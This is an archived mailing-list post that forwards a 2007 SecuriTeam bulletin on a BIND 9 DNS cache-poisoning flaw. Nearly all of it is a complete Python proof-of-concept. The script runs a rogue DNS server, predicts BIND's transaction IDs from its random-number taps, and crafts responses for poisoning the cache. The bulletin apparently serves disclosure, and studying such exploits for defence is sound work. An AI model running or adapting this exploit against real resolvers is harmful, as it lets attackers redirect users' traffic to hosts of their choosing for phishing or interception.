Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 

   


   


   

















      :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] FW: [EXPL] DNS Cache Poison (BIND 9)



> -----Original Message-----
> From: SecuriTeam [mailto:support@xxxxxxxxxxxxxx]
> Sent: Tuesday, August 07, 2007 1:41 PM
> To: html-list@xxxxxxxxxxxxxx
> Subject: [EXPL] DNS Cache Poison (BIND 9)
>
>
>
>
> DNS Cache Poison (BIND 9)
>
>
>
> A vulnerability in BIND 9 allows remote attackers to cause a
> cache poisoning attack against it, the following exploit code
> is a proof of concept to the details published here BIND 9
> DNS Cache Poisoning
> <http://www.securiteam.com/securitynews/5VP0L0UM0A.html> .
>
>
> Exploit:
> #!/usr/bin/env python
>
> """
> DNS Cache Poison v0.3beta by posedge
> based on the Amit Klein paper:
> http://www.trusteer.com/docs/bind9dns.html
>
> output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error>
>
> id: ID to predict
> q: number of queries from the DNS server (only queries with
> LSB at 0 in ID)
> g: number of good predicted IDs
> e: number of errors while trying to predict a *supposed to
> be* predicted ID
> """
>
> import socket, select, sys, time
> from struct import unpack, pack
> from socket import htons
>
> _ANSWER_TIME_LIMIT = 1.0 # 1sec
> _NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], >                [<your_dns2_hostname>, <your_dns2_ip>], >                [<etc>, <etc>]]
>
> class BINDSimplePredict:
>   def __init__(self, txid, bind_9_2_3___9_4_1=True):
>     self.txid = txid
>     self.cand = []
>     if bind_9_2_3___9_4_1 == True:
>       # For BIND9 v9.2.3-9.4.1:
>       self.tap1=0x80000057
>       self.tap2=0x80000062
>     else:
>       # For BIND9 v9.0.0-9.2.2:
>       self.tap1=0xc000002b # (0x80000057>>1)|(1<<31)
>       self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31)
>     self.next = self.run()
>     return
>
>   def run(self):
>
>     if (self.txid & 1) != 0:
>       #print "info: LSB is not 0. Can't predict the next
> transaction ID."
>       return False
>
>     #print "info: LSB is 0, predicting..."
>
>     # One bit shift (assuming the two lsb's are 0 and 0)
>     for msb in xrange(0, 2):
>       self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF)
>
>     # Two bit shift (assuming the two lsb's are 1 and 1)
>     # First shift (we know the lsb is 1 in both LFSRs):
>     v=self.txid
>     v=(v>>1)^self.tap1^self.tap2
>     if (v & 1) == 0:
>       # After the first shift, the lsb becomes 0, so the two
> LFSRs now have
>       # identical lsb's: 0 and 0 or 1 and 1
>       # Second shift:
>       v1=(v>>1) # 0 and 0
>       v2=(v>>1)^self.tap1^self.tap2 # 1 and 1
>     else:
>       # After the first shift, the lsb becomes 1, so the two
> LFSRs now have
>       # different lsb's: 1 and 0 or 0 and 1
>       # Second shift:
>       v1=(v>>1)^self.tap1 # 1 and 0
>       v2=(v>>1)^self.tap2 # 0 and 1
>
>     # Also need to enumerate over the 2 msb's we are clueless about
>     for msbits in xrange(0, 4):
>       self.cand.append(((msbits<<14)|v1) & 0xFFFF)
>       self.cand.append(((msbits<<14)|v2) & 0xFFFF)
>
>     return True;
>
> class DNSData:
>   def __init__(self, data):
>     self.data=data
>     self.name=''
>
>     for i in xrange(12, len(data)):
>       self.name+=data[i]
>       if data[i] == '\x00':
>         break
>     q_type = unpack(">H", data[i+1:i+3])[0]
>     if q_type != 1: # only type: A (host address) allowed.
>       self.name = None
>     return
>
>   def response(self, ip=None):
>     packet=''
>     packet+=self.data[0:2] # id
>     packet+="\x84\x10" # flags
>     packet+="\x00\x01" # questions
>     packet+="\x00\x01" # answer RRS
>     packet+="\x00\x00" # authority RRS
>     packet+="\x00\x00" # additional RRS
>     packet+=self.name # queries: name
>     packet+="\x00\x01" # queries: type (A)
>     packet+="\x00\x01" # queries: class (IN)
>     packet+="\xc0\x0c" # answers: name
>     if ip == None:
>       packet+="\x00\x05" # answers: type (CNAME)
>       packet+="\x00\x01" # answers: class (IN)
>       packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
>       packet+=pack(">H", len(self.name)+2) # answers: data length
>       packet+="\x01" + "x" + self.name # answers: primary name
>     else:
>       packet+="\x00\x01" # answers: type (A)
>       packet+="\x00\x01" # answers: class (IN)
>       packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
>       packet+="\x00\x04" # answers: data length
>       packet+=str.join('',map(lambda x: chr(int(x)),
> ip.split('.'))) # IP
>     #packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00" #
> Additional
>     return packet
>
> class DNSServer:
>   def __init__(self):
>     self.is_r = []
>     self.is_w = []
>     self.is_e = []
>     self.targets = []
>     self.named_conf = []
>
>     for i in xrange(len(_NAMED_CONF)):
>       start = 0
>       tmp = ''
>       for j in xrange(len(_NAMED_CONF[i][0])):
>         if _NAMED_CONF[i][0][j] == '.':
>           tmp += chr(j - start)
>           tmp += _NAMED_CONF[i][0][start:j]
>           start = j + 1
>       tmp += chr(j - start + 1)
>       tmp += _NAMED_CONF[i][0][start:] + "\x00"
>       self.named_conf.append([tmp, _NAMED_CONF[i][1]])
>     return
>
>   def run(self):
>     self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
>     self.s.bind(('',53))
>     self.is_r.append(self.s)
>     next = False
>     i = 0
>
>     while 1:
>       r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0)
>       if r:
>         try:
>           data, addr = self.s.recvfrom(1024)
>         except socket.error:
>           continue
>
>         txid = unpack(">H", data[0:2])[0]
>         p=DNSData(data)
>         if p.name == None:
>           continue
>
>         found = False
>
>         for j in xrange(len(self.named_conf)):
>           if p.name == self.named_conf[j][0]:
>             found = True
>             break
>
>         if found == True:
>           self.s.sendto(p.response(self.named_conf[j][1]), addr)
>           continue
>
>         # FIXME: wrong code, 'i' is 0 at begin and when 1
> item in list...
>         for i in xrange(len(self.targets)):
>           if self.targets[i][0] == addr[0]:
>             break
>         if i == len(self.targets):
>           self.targets.append([addr[0], False, time.time(),
> [None, None], >             None, 0, 0, 0])
>
>         if self.targets[i][1] == False:
>           bsp = BINDSimplePredict(txid)
>           self.targets[i][1] = bsp.next
>           self.targets[i][3][0] = bsp.cand
>           bsp = BINDSimplePredict(txid, False)
>           self.targets[i][3][1] = bsp.cand
>         else:
>           if p.name == self.targets[i][4]:
>             elapsed = time.time() - self.targets[i][2]
>             if elapsed > _ANSWER_TIME_LIMIT:
>               print 'info: slow answer, discarding (%.2f
> sec)' % elapsed
>             else:
>               self.targets[i][5] += 1
>               found_v1 = False
>               found_v2 = False
>               for j in xrange(10):
>                 if self.targets[i][3][0][j] == txid:
>                   found_v1 = True
>                   break
>                 if self.targets[i][3][1][j] == txid:
>                   found_v2 = True
>                   break
>
>               if found_v1 == True or found_v2 == True:
>                 self.targets[i][6] += 1
>               else:
>                 self.targets[i][7] += 1
>
>               # TODO: if found_v1 or found_v2 is True, then
> show bind version!
>               print "\n" + str(i) + ' target:', self.targets
>               print '%f:%s:%d: id: %04x q: %d g: %d e: %d' %
> (time.time(), >                 addr[0], addr[1], txid, self.targets[i][5], >                 self.targets[i][6], self.targets[i][7])
>               self.targets[i][1] = False
>         self.targets[i][2] = time.time()
>         self.targets[i][4] = "\x01" + "x" + p.name
>         self.s.sendto(p.response(), addr)
>     return
>
>   def close(self):
>     self.s.close()
>     return
>
> if __name__ == '__main__':
>   dns_srv = DNSServer()
>
>   try:
>     dns_srv.run()
>   except KeyboardInterrupt:
>     print 'ctrl-c, leaving...'
>     dns_srv.close()
>
>
> Additional Information:
> The information has been provided by kralor
> <mailto:kralor@xxxxxxxxxxxxxx> .
>
>
> ==============================================================
> ==================
>
>
>
>
>
> This bulletin is sent to members of the SecuriTeam mailing list.
> To unsubscribe from the list, send mail with an empty subject
> line and body to: html-list-unsubscribe@xxxxxxxxxxxxxx
> In order to subscribe to the mailing list and receive
> advisories in HTML format, simply forward this email to:
> html-list-subscribe@xxxxxxxxxxxxxx
>
>
>
> ==============================================================
> ==================
> ==============================================================
> ==================
>
> DISCLAIMER:
> The information in this bulletin is provided "AS IS" without
> warranty of any kind.
> In no event shall we be liable for any damages whatsoever
> including direct, indirect, incidental, consequential, loss
> of business profits or special damages.
>
>
>
>
>
>



 




Copyright © Lexa Software, 1996-2009.